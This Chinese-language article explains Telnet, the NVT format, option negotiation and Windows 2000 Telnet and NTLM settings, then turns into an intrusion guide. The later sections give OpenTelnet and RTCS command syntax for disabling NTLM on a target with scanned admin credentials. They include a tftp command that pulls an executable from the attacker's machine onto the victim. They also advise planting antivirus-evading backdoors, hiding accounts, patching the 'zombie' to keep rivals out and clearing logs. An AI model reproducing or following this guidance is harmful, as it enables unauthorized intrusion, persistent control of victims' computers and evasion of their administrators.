1 遠程登陸的基本概念
先來看看什麽叫登錄：分時系統允許多個用戶同時使用壹臺計算機，為了保證系統的安全和記帳方便，系統要求每個用戶有單獨的帳號作為登錄標識，系統還為每個用戶指定了壹個口令。用戶在使用該系統之前要輸入標識和口令，這個過程被稱為'登錄'。
遠程登陸是指用戶使用Telnet命令，使自己的計算機暫時成為遠程主機的壹個仿真終端的過程。仿真終端等效於壹個非智能的機器，它只負責把用戶輸入的每個字符傳遞給主機，再將主機輸出的每個信息回顯在屏幕上。
2 遠程登陸的產生及發展
我們可以先構想壹個提供遠程文字編輯的服務，這個服務的實現需要壹個接受編輯文件請求和數據的服務器以及壹個發送此請求的客戶機。客戶機將建立壹個從本地機到服務器的TCP連接，當然這需要服務器的應答，然後向服務器發送鍵入的信息（文件編輯信息），並讀取從服務器返回的輸出。以上便是壹個標準而普通的客戶機/服務器模型的服務。
似乎有了客戶機/服務器模型的服務，壹切遠程問題都可以解決了。然而實際並非妳想象的那樣簡單，如果我們僅需要遠程編輯文件，那麽剛才所構想的服務完全可以勝任，但假如我們的要求並不是這麽簡單，我們還想實現遠程用戶管理，遠程數據錄入，遠程系統維護，想實現壹切可以在遠程主機上實現的操作，那麽我們將需要大量專用的服務器程序並為每壹個可計算服務都使用壹個服務器進程，隨之而來的問題是：遠程機器會很快對服務器進程應接不暇，並淹沒在進程的海洋裏（我們在這裏排除最專業化的遠程機器）。
那麽有沒有辦法解決呢？當然有，我們可以用遠程登錄來解決這壹切。我們允許用戶在遠地機器上建立壹個登錄會話，然後通過執行命令來實現更壹般的服務，就像在本地操作壹樣。這樣，我們便可以訪問遠地系統上所有可用的命令，並且系統設計員不需提供多個專用地服務器程序。
問題發展到這裏好像前途壹片光明了，用遠程登錄總應該解決問題了吧，但要實現遠程登陸並不簡單。不考慮網絡設計的計算機系統期望用戶只從直接相連的鍵盤和顯示器上登錄，在這種機器上增加遠程登陸功能需要修改機器的操作系統，這是極其艱巨也是我們盡量避免的。因此我們應該集中力量構造遠程登陸服務器軟件，雖然這樣也是比較困難的。為什麽說這樣做也比較困難呢？
舉個例子來說：壹般，操作系統會為壹些特殊按鍵分配特殊的含義，比如本地系統將'Ctrl+C'解釋為：'終止當前運行的命令進程'。但假設我們已經運行了遠程登陸服務器軟件，'Ctrl+C'也有可能無法被傳送到遠地機器，如果客戶機真的將'Ctrl+C'傳到了遠地機器，那麽'Ctrl+C'這個命令有可能不能終止本地的進程，也就是說在這裏很可能會產生混亂。而且這僅僅是遇到的難題之壹。
但盡管有技術上的困難，系統編程人員還是設法構造了能夠應用於大多數操作系統的遠程登陸服務器軟件，並構造了充當客戶機的應用軟件。通常，客戶機軟件取消了除壹個鍵以外的所有鍵的本地解釋，並將這些本地解釋相應的轉換成遠地解釋，這就使得客戶機軟件與遠地機器的交互，就如同坐在遠程主機面前壹樣，從而避免了上述所提到的混亂。而那個唯壹例外的鍵，可以使用戶回到本地環境。
將遠程登陸服務器設計為應用級軟件，還有另壹個要求，那就是需要操作系統提供對偽終端（pseudo terminal）的支持。我們用偽終端描述操作系統的入口點，它允許像Telnet服務器壹樣的程序向操作系統傳送字符，並且使得字符像是來自本地鍵盤壹樣。只有使用這樣的操作系統，才能將遠程登陸服務器設計為應用級軟件（比如Telnet服務器軟件），否則，本地操作系統和遠地系統傳送將不能識別從對方傳送過來的信息（因為它們僅能識別從本地鍵盤所鍵入的信息），遠程登陸將宣告失敗。
將遠程登陸服務器設計為應用級軟件雖然有其顯著的優點：比將代碼嵌入操作系統更易修改和控制服務器。但其也有效率不高的缺點（後面的內容將會給予解釋），好在用戶鍵入信息的速率不高，這種設計還是可以接受的。
3 遠程登錄的工作過程
使用Telnet協議進行遠程登陸時需要滿足以下條件：在本的計算機上必須裝有包含Telnet協議的客戶程序；必須知道遠程主機的Ip地址或域名；必須知道登錄標識與口令。
Telnet遠程登錄服務分為以下4個過程：
1）本地與遠程主機建立連接。該過程實際上是建立壹個TCP連接，用戶必須知道遠程主機的Ip地址或域名；
2）將本地終端上輸入的用戶名和口令及以後輸入的任何命令或字符以NVT（Net Virtual Terminal）格式傳送到遠程主機。該過程實際上是從本地主機向遠程主機發送壹個IP數據報；
3）將遠程主機輸出的NVT格式的數據轉化為本地所接受的格式送回本地終端，包括輸入命令回顯和命令執行結果；
4）最後，本地終端對遠程主機進行撤消連接。該過程是撤銷壹個TCP連接。
上面的內容只是討論了遠程登陸最基本的東西，其中的復雜和編程人員的艱辛是我們難以想象的，不知道妳在舒服的使用Telnet的同時，是否想到了這些！
三 Telnet協議
我們知道Telnet服務器軟件是我們最常用的遠程登錄服務器軟件，是壹種典型的客戶機/服務器模型的服務，它應用Telnet協議來工作。那麽，什麽是Telnet協議？它都具備哪些特點呢？
1 基本內容
Telnet協議是TCP/IP協議族中的壹員，是Internet遠程登陸服務的標準協議。應用Telnet協議能夠把本地用戶所使用的計算機變成遠程主機系統的壹個終端。它提供了三種基本服務：
1）Telnet定義壹個網絡虛擬終端為遠的系統提供壹個標準接口。客戶機程序不必詳細了解遠的系統，他們只需構造使用標準接口的程序；
2）Telnet包括壹個允許客戶機和服務器協商選項的機制，而且它還提供壹組標準選項；
3）Telnet對稱處理連接的兩端，即Telnet不強迫客戶機從鍵盤輸入，也不強迫客戶機在屏幕上顯示輸出。
2 適應異構
為了使多個操作系統間的Telnet交互操作成為可能，就必須詳細了解異構計算機和操作系統。比如，壹些操作系統需要每行文本用ASCII回車控制符（CR）結束，另壹些系統則需要使用ASCII換行符（LF），還有壹些系統需要用兩個字符的序列回車-換行（CR-LF）；再比如，大多數操作系統為用戶提供了壹個中斷程序運行的快捷鍵，但這個快捷鍵在各個系統中有可能不同（壹些系統使用CTRL+C，而另壹些系統使用ESCAPE）。如果不考慮系統間的異構性，那麽在本地發出的字符或命令，傳送到遠地並被遠地系統解釋後很可能會不準確或者出現錯誤。因此，Telnet協議必須解決這個問題。
為了適應異構環境，Telnet協議定義了數據和命令在Internet上的傳輸方式，此定義被稱作網絡虛擬終端NVT（Net Virtual Terminal）。它的應用過程如下：
對於發送的數據：客戶機軟件把來自用戶終端的按鍵和命令序列轉換為NVT格式，並發送到服務器，服務器軟件將收到的數據和命令，從NVT格式轉換為遠地系統需要的格式；
對於返回的數據：遠地服務器將數據從遠地機器的格式轉換為NVT格式，而本地客戶機將將接收到的NVT格式數據再轉換為本地的格式。
對於NVT格式的詳細定義，有興趣的朋友可以去查找相關資料。
3 傳送遠地命令
我們知道絕大多數操作系統都提供各種快捷鍵來實現相應的控制命令，當用戶在本地終端鍵入這些快捷鍵的時候，本地系統將執行相應的控制命令，而不把這些快捷鍵作為輸入。那麽對於Telnet來說，它是用什麽來實現控制命令的遠地傳送呢？
Telnet同樣使用NVT來定義如何從客戶機將控制功能傳送到服務器。我們知道USASCII字符集包括95個可打印字符和33個控制碼。當用戶從本地鍵入普通字符時，NVT將按照其原始含義傳送；當用戶鍵入快捷鍵（組合鍵）時，NVT將把它轉化為特殊的ASCII字符在網絡上傳送，並在其到達遠地機器後轉化為相應的控制命令。將正常ASCII字符集與控制命令區分主要有兩個原因：
1）這種區分意味著Telnet具有更大的靈活性：它可在客戶機與服務器間傳送所有可能的ASCII字符以及所有控制功能；
2）這種區分使得客戶機可以無二義性的指定信令，而不會產生控制功能與普通字符的混亂。
4 數據流向
上面我們提到過將Telnet設計為應用級軟件有壹個缺點，那就是：效率不高。這是為什麽呢？下面給出Telnet中的數據流向：
數據信息被用戶從本地鍵盤鍵入並通過操作系統傳到客戶機程序，客戶機程序將其處理後返回操作系統，並由操作系統經過網絡傳送到遠地機器，遠地操作系統將所接收數據傳給服務器程序，並經服務器程序再次處理後返回到操作系統上的偽終端入口點，最後，遠地操作系統將數據傳送到用戶正在運行的應用程序，這便是壹次完整的輸入過程；輸出將按照同壹通路從服務器傳送到客戶機。
因為每壹次的輸入和輸出，計算機將切換進程環境好幾次，這個開銷是很昂貴的。還好用戶的鍵入速率並不算高，這個缺點我們仍然能夠接受。
5 強制命令
我們應該考慮到這樣壹種情況：假設本地用戶運行了遠地機器的壹個無休止循環的錯誤命令或程序，且此命令或程序已經停止讀取輸入，那麽操作系統的緩沖區可能因此而被占滿，如果這樣，遠地服務器也無法再將數據寫入偽終端，並且最終導致停止從TCP連接讀取數據，TCP連接的緩沖區最終也會被占滿，從而導致阻止數據流流入此連接。如果以上事情真的發生了，那麽本地用戶將失去對遠地機器的控制。
為了解決此問題，Telnet協議必須使用外帶信令以便強制服務器讀取壹個控制命令。我們知道TCP用緊急數據機制實現外帶數據信令，那麽Telnet只要再附加壹個被稱為數據標記(date mark)的保留八位組，並通過讓TCP發送已設置緊急數據比特的報文段通知服務器便可以了，攜帶緊急數據的報文段將繞過流量控制直接到達服務器。作為對緊急信令的相應，服務器將讀取並拋棄所有數據，直到找到了壹個數據標記。服務器在遇到了數據標記後將返回正常的處理過程。
6 選項協商
由於Telnet兩端的機器和操作系統的異構性，使得Telnet不可能也不應該嚴格規定每壹個telnet連接的詳細配置，否則將大大影響Telnet的適應異構性。因此，Telnet采用選項協商機制來解決這壹問題。
Telnet選項的範圍很廣：壹些選項擴充了大方向的功能，而壹些選項制涉及壹些微小細節。例如：有壹個選項可以控制Telnet是在半雙工還是全雙工模式下工作（大方向）；還有壹個選項允許遠地機器上的服務器決定用戶終端類型（小細節）。
Telnet選項的協商方式也很有意思，它對於每個選項的處理都是對稱的，即任何壹端都可以發出協商申請；任何壹端都可以接受或拒絕這個申請。另外，如果壹端試圖協商另壹端不了解的選項，接受請求的壹端可簡單的拒絕協商。因此，有可能將更新，更復雜的Telnet客戶機服務器版本與較老的，不太復雜的版本進行交互操作。如果客戶機和服務器都理解新的選項，可能會對交互有所改善。否則，它們將壹起轉到效率較低但可工作的方式下運行。所有的這些設計，都是為了增強適應異構性，可見Telnet的適應異構性對其的應用和發展是多麽重要。
上面討論了壹些原理方面的東西，雖然我們在Telnet的使用過程中很難接觸到這壹層面，但我認為了解這些是有意義的，它會給我們帶來許多啟示。下面讓我們來看看Win2000的Telnet服務。
四 Win2000的Telnet服務
其實從應用層面上，Win2000的Telnet服務並沒有什麽可說的，絕大部分內容妳都可以從HELP文件中得到，我在此只是把它稍微整理壹下而已。
1 基本配置
Win2000為我們提供了Telnet客戶機和服務器程序：Telnet.exe是客戶機程序（Client），tlntsvr.exe是服務器程序（server），同時它還為我們提供了Telnet服務器管理程序tlntadmn.exe。
Windows 2000 默認安裝了 Telnet 服務，但是並沒有默認啟動。下面給出HELP文件中 Telnet 服務的壹部分默認設置：
AllowTrustedDomain：是否允許域用戶訪問。默認值是1，允許信任域用戶訪問。可以改為0: 不允許域用戶訪問（只允許本地用戶）。
DefaultDomain：可以對與該計算機具有信任關系的任何域設置。默認值是"."。
DefaultShell：顯示 shell 安裝的路徑位置。默認值是： %systemroot%\System32\Cmd.exe /q /k
MaxFailedLogins：在連接終止之前顯示嘗試登錄失敗的最大次數。默認是3。
LoginScript：顯示 Telnet 服務器登錄腳本的路徑位置。默認的位置就是“%systemroot%\System32\login.cmd”，妳可以更改腳本內容，這樣登錄進Telnet的歡迎屏幕就不壹樣了。
NTLM：NTLM身份驗證選項。默認是2。可以有下面這些值：
0: 不使用 NTLM 身份驗證。
1: 先嘗試 NTLM 身份驗證，如果失敗，再使用用戶名和密碼。
2: 只使用 NTLM 身份驗證。
TelnetPort：顯示 telnet 服務器偵聽 telnet 請求的端口。默認是：23。妳也可以更改為其他端口。
以上各項設置妳可以使用tlntadmn.exe（Telnet服務器管理程序）來進行非常方便的配置，配置後需要重新啟動Telnet服務。如圖1
2 NTLM
提到了telnet就不能不提NTLM，我想這也是讓入侵者最為頭痛的壹件事，哪怕妳獲得了管理員帳號和密碼，想簡單通過NTLM也並非易事，況且win2000中的telnet默認僅以NTLM方式驗證身份，這就讓我們不得不關註NTLM這個東東，那麽什麽是NTLM呢？
早期的SMB協議在網絡上明文傳輸口令，後來出現了"LAN Manager Challenge/Response"驗證機制，簡稱LM，它十分簡單以至很容易被破解，微軟隨後提出了WindowsNT挑戰/響應驗證機制，即NTLM。現在已經有了更新的NTLMv2以及Kerberos驗證體系。NTLM工作流程是這樣的：
1、客戶端首先在本地加密當前用戶的密碼成為密碼散列
2、客戶端向服務器發送自己的帳號，這個帳號是沒有經過加密的，明文直接傳輸
3、服務器產生壹個16位的隨機數字發送給客戶端，作為壹個 challenge（挑戰）
4、客戶端再用加密後的密碼散列來加密這個 challenge ，然後把這個返回給服務器。作為 response（響應）
5、服務器把用戶名、給客戶端的challenge 、客戶端返回的 response 這三個東西，發送域控制器
6、域控制器用這個用戶名在 SAM密碼管理庫中找到這個用戶的密碼散列，然後使用這個密碼散列來加密 challenge。
7、域控制器比較兩次加密的 challenge ，如果壹樣，那麽認證成功。
從上面的過程我們可以看出，NTLM是以當前用戶的身份向Telnet服務器發送登錄請求的，而不是用妳掃到的對方管理員的帳戶和密碼登錄，顯然，妳的登錄將會失敗。舉個例子來說，妳家的機器名為A（本地機器），妳入侵的機器名為B（遠地機器），妳在A上的帳戶是xinxin，密碼是1234，妳掃到B的管理員帳號是Administrator，密碼是5678，當妳想Telnet到B時，NTLM將自動以當前用戶的帳號和密碼作為登錄的憑據來進行上面的7項操作，即用xinxin和1234，而並非用妳掃到的Administrator和5678，且這些都是自動完成的，根本不給妳插手的機會，因此妳的登錄操作將失敗。
由於Telnet服務器對NTLM的使用有3個選項，所以當妳Telnet遠地機器時，會顯示下面情況中的壹種：
1)身份驗證選項=0時
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\為0時不使用NTML身份驗證，直接輸入用戶名和密碼，比如妳可以輸入掃到的Administrator和5678
2)身份驗證選項=1時
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\先嘗試 NTLM 身份驗證，如果失敗，再使用用戶名和密碼，其實這種方式對於我們來說，與上壹種方式沒什麽區別
3)身份驗證選項=2時
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遺失對主機的連接。
C:\>
\\仔細看看上面的顯示，根本沒有給妳輸入用戶名和密碼的機會，直接斷開連接，掃到了密碼也是白掃
所以對於入侵者來說，NTLM是橫在我們面前的壹座大山，必須要除掉它，壹般我們有如下幾種方法：
1通過修改遠程註冊表更改telnet服務器配置，將驗證方式從2改為1或0；
2使用NTLM.exe，上傳後直接運行，可將telnet服務器驗證方式從2改為1；
3在本地建立掃描到的用戶，以此用戶身份開啟telnet客戶機並進行遠程登錄；
4使用軟件，比如opentelnet.exe（需要管理員權限且開啟IPC管道）
5使用腳本，如RTCS，（需要管理員權限但不依賴IPC管道）
基本上是以上的5種，其中後兩種是我們比較常用的開telnet的手法，而且使用方法十分簡單，命令如下：
OpenTelnet.exe \\server username password NTLMAuthor telnetport
OpenTelnet.exe \\服務器地址 管理員用戶名 密碼 驗證方式（填0或1） telnet端口
cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目標IP> <管理員用戶名> <密碼> <驗證方式> <tlnet端口>
五 在telnet中該做什麽
本來寫到上面就想結束了，不過許多朋友都說telnet上去後不知道該做什麽了，既然這樣，那我就拋磚引玉吧，這次不講具體做法，只是說說思路，什麽？為什麽不講具體做法？篇幅不夠嘛，以後我會壹壹解釋的。
1 查看系統信息
呵呵，其實就是隨處看看，看看他的系統配置和版本（用type c:\boot.ini來知道pro版或server版），看看都裝了什麽服務或軟件（從目錄名就可以知道了），看看有什麽重要或有趣的文件啦（唉，要是國外的機器，看也看不懂），看看他的用戶情況，總之就是盡可能多的了解系統，為壹會裝後門摸底。
2 使用tftp傳送文件
想必大家都遇到過在telnet中傳輸文件的問題，因為我們習慣了在ipc管道中的文件傳輸，所以有些朋友喜歡用net share ipc$ 來打開管道，進而利用copy來傳輸文件。不過這樣反而麻煩，既然我們已經得到了shell，我們可以用TFPT命令來完成這壹切，什麽是TFTP呢？
用TFTP(Trivial File Transfer Protocol)來實現文件的傳送是壹種基於UDP連接的文件傳輸，壹般是使用Windows自帶的tftp.exe和壹個TFTP服務器端軟件構成壹個完整的傳輸結構。它是這樣使用的： 首先運行本地的TFTP Server（比如tftpd32.exe）軟件並保證始終開啟直至傳輸全部完成， 然後在telnet中（當然妳也可以在其他shell中）運行下面的命令：
C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe
其中ip為妳自己機器的ip，且上傳文件要與TFTP服務器端在同壹目錄下，這樣妳就可以把xinxin.exe上傳到c盤abc目錄下了（其實是從tftp服務器下載來的）
需要指出的是，如果使用代理IP，妳將不能實現與外部網絡的文件傳送。因為妳的代理網關在進行數據封裝的時候會將自己的IP地址加入到妳的數據報中，代替妳的內部網絡地址，所以在外部網絡進行MAC尋址時是找不到妳這臺TFTP服務器的。
3 安置後門
安置後門放在第二步好像早了點，如果妳入侵還有其他目的，比如以破壞為主，或者是來修改主頁的，那麽這些事情當然可以在安置後門之前做；如果妳只是想得到壹只肉雞，那就沒什麽可說的了，安後門吧。
後門的種類繁多，也給我們提供了很大的選擇余地，能夠根據具體情況選擇合適的後門的確是壹門學問。常用的後門壹般有：木馬，asp木馬，遠程控制軟件，克隆帳戶，建立並隱藏帳戶，telnet，telnet擴展的shell，終端服務等。安置壹個好的後門通常要註意以下幾點：
1 不會被防火墻查殺及阻礙通信：被加入病毒庫的後門最好加殼以逃過防火墻，盡量用低端口通信，以免被防火墻屏蔽。
2 最大限度增加隱蔽性：如果妳選擇遠程控制軟件，要註意被控端的安裝提示和小圖標，以及是否同步畫面；如果妳在帳戶上做文章，要盡量保持在cmd和用戶管理中都不出破綻；如果妳選擇放木馬或telnet擴展，要註意文件和進程的隱藏；如果新開了終端服務（入侵前並沒有開），壹定要該掉3389這個顯眼的端口，且越低越好。
3 不要當管理員不存在：這是壹個大忌，許多朋友在只有默認帳戶的機器上建立類似'hacking'的管理員帳戶，真是無知者無畏呀。所以安置後門的時候，想想管理員疏忽的地方會在哪裏。
4 打補丁
如果想獨霸肉雞，就要會打補丁，要知道對肉雞的競爭是很激烈的。怎麽打補丁呢？這個也要問？想想妳是怎麽進來的吧。算了，提示壹下，除了修補大的漏洞以外（上傳官方補丁並運行），也要註意它的***享，ipc$***享（最好都關閉），可疑端口，容易被利用的服務等。不過打補丁也要註意隱蔽性的，不要讓管理員發現大的改動。
5 清除日誌
可以手動或利用軟件，如果不太會就去找相關教材吧，在這裏我不詳細介紹了。
六 結束語
文章的前部分主要說了壹些原理性的東西，後部分則側重於應用，寫的多了難免會有些遺漏。